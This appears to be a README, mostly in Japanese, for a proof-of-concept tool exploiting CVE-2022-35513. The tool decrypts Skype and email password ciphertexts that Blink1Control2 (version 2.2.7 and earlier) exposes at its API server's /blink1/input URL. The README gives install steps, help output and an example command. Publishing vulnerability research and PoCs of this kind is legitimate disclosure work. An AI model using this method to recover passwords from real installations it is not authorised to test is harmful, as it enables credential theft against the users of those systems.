p1ckzi/cve-2022-35513CVE-2022-35513 | blink1-pass-decrypt
Blink1Control2インストール（バージョン <=2.2.7）のAPIサーバーの/blink/inputにある暗号文を復号するためのPoCとシンプルなスクリプト。
Blink1Control2アプリは脆弱なパスワード暗号化と安全でない保存方法を使用しており、APIサーバーの/blink1/input URLにアクセスすることで確認できます。
Skypeログインとメールのパスワード暗号文がリストされ、復号可能です。
sudo apt install npm
npm install argparse
npm install simplecrypt
./blink1-pass-decryptまたはnode blink1-pass-decryptを-hまたは--helpとともに使用してヘルプメニューを表示します：
usage: blink-pass-decrypt [-h] ciphertext
decrypts passwords found at the /blink/input url of the blink1control2 api
server (version <= 2.2.7 ).
positional arguments:
ciphertext encrypted password string to use
optional arguments:
-h, --help show this help message and exit
例：
node blink1-pass-decrypt '69827e0ecea378946e999df4313cb9a1e49c049a7b9bac8bf1105cdec9f221c8'